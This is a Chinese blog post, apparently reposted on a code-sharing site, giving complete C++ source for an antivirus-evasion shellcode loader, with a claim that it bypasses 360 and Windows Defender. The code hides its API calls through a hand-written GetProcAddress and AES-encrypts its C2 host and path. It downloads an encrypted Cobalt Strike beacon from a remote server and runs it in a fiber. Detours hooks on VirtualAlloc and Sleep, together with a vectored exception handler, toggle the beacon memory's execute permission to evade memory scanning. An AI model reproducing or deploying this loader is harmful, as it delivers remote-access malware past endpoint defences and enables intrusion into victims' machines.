ConsoleApplication17_2项目免杀(Fiber+VEH Hook Load)

这篇具有很好参考价值的文章主要介绍了ConsoleApplication17_2项目免杀(Fiber+VEH Hook Load)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

加载方式Fiber+VEH Hook Load
Fiber是纤程免杀,VEH是异常报错,hook使用detours来hook VirtualAlloc和sleep,通过异常报错调用实现主动hook
纤程Fiber的概念:纤程是比线程的更小的一个运行单位。可以把一个线程拆分成多个纤程,然后通过人工转换纤程,从而让各个纤程工作。线程的实现通过Windows内核完成的,因此Windows可以自动对线程进行调度。但是纤程是通过用户模式的代码来实现的,是程序员自己写的算法,内核不知道纤程的实现方式,而是你自己定义的调度算法,因此纤程是“非抢占”的调度方式

ConsoleApplication17_2项目免杀(Fiber+VEH Hook Load),免杀,网络安全,c++
ConsoleApplication17_2项目免杀(Fiber+VEH Hook Load),免杀,网络安全,c++

可以看到绕过360和window defender杀软

手法是在ConsoleApplication15项目上改动的,之前项目是VEH Hook Load加载的方式,在此加载方式上修改由线程变成纤程Fiber
全代码如下:
ConsoleApplication17_2.cpp


#include <iostream>
#include<Windows.h>
#include "detours.h"
#include "detver.h"
#include <WinInet.h>
#include "base64.h"
#include "AES.h"
#include "need.h"


#pragma comment(lib,"detours.lib")
#pragma comment(lib,"wininet")

#pragma warning(disable:4996)
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

extern "C" PVOID64 _cdecl GetPeb();
using namespace std;

LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;


BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;

typedef LPVOID(WINAPI* VirtualAllocT)(
	_In_opt_ LPVOID lpAddress,
	_In_     SIZE_T dwSize,
	_In_     DWORD flAllocationType,
	_In_     DWORD flProtect
	);

typedef HINTERNET(WINAPI* InternetOpenW_T)(
	_In_opt_ LPCWSTR lpszAgent,
	_In_ DWORD dwAccessType,
	_In_opt_ LPCWSTR lpszProxy,
	_In_opt_ LPCWSTR lpszProxyBypass,
	_In_ DWORD dwFlags
	);

typedef HINTERNET(WINAPI* InternetConnectW_T)(
	_In_ HINTERNET hInternet,
	_In_ LPCWSTR lpszServerName,
	_In_ INTERNET_PORT nServerPort,
	_In_opt_ LPCWSTR lpszUserName,
	_In_opt_ LPCWSTR lpszPassword,
	_In_ DWORD dwService,
	_In_ DWORD dwFlags,
	_In_opt_ DWORD_PTR dwContext
	);

typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
	_In_ HINTERNET hConnect,
	_In_opt_ LPCWSTR lpszVerb,
	_In_opt_ LPCWSTR lpszObjectName,
	_In_opt_ LPCWSTR lpszVersion,
	_In_opt_ LPCWSTR lpszReferrer,
	_In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
	_In_ DWORD dwFlags,
	_In_opt_ DWORD_PTR dwContext
	);

typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
	_In_ HINTERNET hRequest,
	_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
	_In_ DWORD dwHeadersLength,
	_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
	_In_ DWORD dwOptionalLength
	);

typedef HINTERNET(WINAPI* InternetReadFile_T)(
	_In_ HINTERNET hFile,
	_Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
	_In_ DWORD dwNumberOfBytesToRead,
	_Out_ LPDWORD lpdwNumberOfBytesRead
	);

FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
	// Get the address of the module's PE header
	BYTE* pImageBase = (BYTE*)hModule;
	IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
	IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);

	// Get the address of the export directory
	IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
	IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);

	DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
	WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
	DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);

	for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
		LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
		if (strcmp(lpProcName, pName) == 0) {
			WORD ordinal = pAddressOfNameOrdinals[i];
			DWORD functionRVA = pAddressOfFunctions[ordinal];
			FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
			return pFunction;
		}
	}

	return NULL;
}

HMODULE getKernel32Address()
{
	PVOID64 Peb = GetPeb();
	PVOID64 LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb + 0x018);  //0x018是LDR相对于PEB偏移   存放着LDR的基地址
	UNICODE_STRING* FullName;
	HMODULE hKernel32 = NULL;
	LIST_ENTRY* pNode = NULL;
	pNode = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr + 0x30));  //偏移到InInitializationOrderModuleList
	while (true)
	{
		FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);//BaseDllName基于InInitialzationOrderModuList的偏移
		if (*(FullName->Buffer + 12) == '\0')
		{
			hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));//DllBase
			break;
		}
		pNode = pNode->Flink;
	}
	return hKernel32;
}

HMODULE getWininetAddress()
{
	HMODULE hWininet = nullptr;

	// 获取模块句柄
	hWininet = GetModuleHandle(L"wininet.dll");

	return hWininet;
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
	string strData = ko::Base64::decode(strSrc);
	size_t length = strData.length();
	//密文
	char* szDataIn = new char[length + 1];
	memcpy(szDataIn, strData.c_str(), length + 1);
	//明文
	char* szDataOut = new char[length + 1];
	memcpy(szDataOut, strData.c_str(), length + 1);

	//进行AES的CBC模式解密
	AES aes;
	aes.MakeKey(g_key, g_iv, 16, 16);
	aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

	//去PKCS7Padding填充
	if (0x00 < szDataOut[length - 1] <= 0x16)
	{
		int tmp = szDataOut[length - 1];
		for (int i = length - 1; i >= length - tmp; i--)
		{
			if (szDataOut[i] != tmp)
			{
				memset(szDataOut, 0, length);
				cout << "去填充失败!解密出错!!" << endl;
				break;
			}
			else
				szDataOut[i] = 0;
		}
	}
	string strDest(szDataOut);
	delete[] szDataIn;
	delete[] szDataOut;
	return strDest;
}

//Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
	Beacon_data_len = dwSize;
	Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
	printf("分配大小:%d", Beacon_data_len);
	printf("分配地址:%llx \n", Beacon_address);
	return Beacon_address;
}

//Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
	if (Vir_FLAG)
	{
		VirtualFree(shellcode_addr, 0, MEM_RELEASE);
		Vir_FLAG = false;
	}
	printf("sleep时间:%d\n", dwMilliseconds);
	SetEvent(hEvent);
	OldSleep(dwMilliseconds);
}

void Hook()
{
	DetourRestoreAfterWith(); //避免重复HOOK,恢复原来HOOK
	DetourTransactionBegin(); // 开始HOOK
	DetourUpdateThread(GetCurrentThread());  //刷新当前线程
	DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //将拦截的函数附加到原函数的地址上,这里可以拦截多个函数  NewVirtualAlloc
	DetourAttach((PVOID*)&OldSleep, NewSleep);    //将拦截的函数附加到原函数的地址上, 这里可以拦截多个函数  NewSleep
	DetourTransactionCommit(); //  提交HOOK
}

void UnHook()
{
	DetourTransactionBegin();   //恢复原来HOOK
	DetourUpdateThread(GetCurrentThread());   //刷新当前线程
	DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //解除hook
	DetourTransactionCommit();  //提交
}

size_t GetSize(char* szFilePath)
{
	size_t size;
	FILE* f = fopen(szFilePath, "rb");
	fseek(f, 0, SEEK_END);  //fseek函数用于重定位流(数据流/文件)上的文件内部位置指针   //SEEK_END代表文件末尾
	size = ftell(f); //获取文件的 当前指针位置 相对于 文件首地址 的偏移字节数
	rewind(f);  //rewind() 函数将文件位置指示符设置为给定文件流的开头
	fclose(f);
	return size;
}

unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
	unsigned char* p = NULL;
	FILE* f = NULL;
	size_t res = 0;
	*size = GetSize(szFilePath);  //
	if (*size == 0) return NULL;
	f = fopen(szFilePath, "rb");
	if (f == NULL)
	{
		printf("Binary file does not exists!\n");
		return 0;
	}
	p = new unsigned char[*size];
	// Read file
	rewind(f);
	res = fread(p, sizeof(unsigned char), *size, f);
	fclose(f);
	if (res == 0)
	{
		delete[] p;
		return NULL;
	}
	return p;
}





BOOL is_Exception(DWORD64 Exception_addr)
{
	if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
	{
		printf("地址符合:%llx\n", Exception_addr);
		return true;
	}
	printf("地址不符合:%llx\n", Exception_addr);
	return false;
}


//设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	printf("FirstVectExcepHandler\n");
	printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
	printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
	if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))    //判断异常错误码是否等于0xc0000005,并且调用is_Exception函数来判断pExcepInfo->ContextRecord->Rip是否符合某个条件。pExcepInfo 是一个指向异常信息结构体 EXCEPINFO 的指针,用于存储关于异常的详细信息,ContextRecord 是 EXCEPTION_RECORD 结构体的一个成员,它是一个指向上下文记录的指针,其中包含有关引发异常的线程的上下文信息
	{
		printf("恢复Beacon内存属性\n");
		VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);  //恢复beacon内存属性
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

//然后创建一个线程用来在Beacon进入睡眠之后立刻取消Beacon内存区域的X属性
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
	printf("Beacon_set_Memory_attributes启动\n");
	while (true)
	{
		WaitForSingleObject(hEvent, INFINITE);   //INFINITE表示等待时间无限长,直到收到信号为止
		printf("设置Beacon内存属性不可执行\n");
		VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);   //内存属性
		ResetEvent(hEvent);     //重置事件对象
	}
	return 0;
}

int main()
{
	//创建事件用来同步线程
	hEvent = CreateEvent(NULL, TRUE, false, NULL);

	AddVectoredExceptionHandler(1, &FirstVectExcepHandler);   //表示注册一个优先级为 1 的向量化异常处理程序,并将其指向名为 FirstVectExcepHandler 的函数。当发生相应的异常时,被注册的处理程序 FirstVectExcepHandler 将会被调用。
	Hook();
	HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);   //创建线程
	CloseHandle(hThread1);   //关闭句柄



	unsigned char* BinData = NULL;
	size_t payload_len = 500000;

	string enhost = "nlwJ3dl9R+5otLOXHiZ6eQ==";   //远程下载的主机的ip
	string dehost = DecryptionAES(enhost);

	int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
	LPWSTR hostLPCWSTR = new WCHAR[hostLen];
	MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

	WORD port = 8000;
	string enpath = "EkYwlGs7z8OzXAEs7rszZA==";   //对应的文件
	string depath = DecryptionAES(enpath);

	int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
	LPWSTR pathLPCWSTR = new WCHAR[pathLen];
	MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);

	HINTERNET session;
	HINTERNET conn;
	HINTERNET reqfile;
	DWORD nread;

	//shellcode_addr = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  	//使用默认设置创建会话
	char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
	VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress((HMODULE)getKernel32Address(), xyVAc);
	shellcode_addr = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

	//连接到目标主机
	//conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
	char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };
	InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyItC);
	conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

	//创建请求
	//reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
	char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };
	HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHOR);
	reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

	//发送请求并读取响应
	//HttpSendRequest(reqfile, NULL, 0, 0, 0);
	char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
	HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHSR);
	pHSR(reqfile, NULL, 0, 0, 0);

	//InternetReadFile(reqfile, shellcode_addr, payload_len, &nread);
	char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
	InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIRF);
	pIRF(reqfile, shellcode_addr, payload_len, &nread);

	std::string AESEncodedContent(reinterpret_cast<const char*>(shellcode_addr), nread);
	std::string base64DecodedContent;

	string AESDecodedContent = DecryptionAES(AESEncodedContent);
	base64DecodedContent = ko::Base64::decode(AESDecodedContent);

	//char* szFilePath = "F:\\Tools\\beacon811.bin";    
	//BinData = ReadBinaryFile(szFilePath, &size);    //ReadBinaryFile函数能直接读取二进制文件


	LPVOID fiber = ConvertThreadToFiber(NULL);
	//CopyMemory(shellcode_addr, base64DecodedContent.data, base64DecodedContent.size());
	memcpy(shellcode_addr, base64DecodedContent.data(), base64DecodedContent.size());    //将内存复制进去
	VirtualProtect(shellcode_addr, payload_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);   //修改内存属性
	LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)shellcode_addr, NULL);
	SwitchToFiber(shellFiber);
	/*(*(int(*)()) shellcode_addr)();*/

	UnHook();


	return 0;
}


//整体思路:Beacon进入睡眠就取消它内存的可执行属性,等Beacon线程醒来时触发异常交由VEH异常处理函数恢复内存的可执行属性,然后Beacon执行完成后又进入睡眠一直重复上述过程

ConsoleApplication17_2项目免杀(Fiber+VEH Hook Load),免杀,网络安全,c++
其余文件还是之前项目中获得文章来源地址https://www.toymoban.com/news/detail-681050.html

到了这里,关于ConsoleApplication17_2项目免杀(Fiber+VEH Hook Load)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包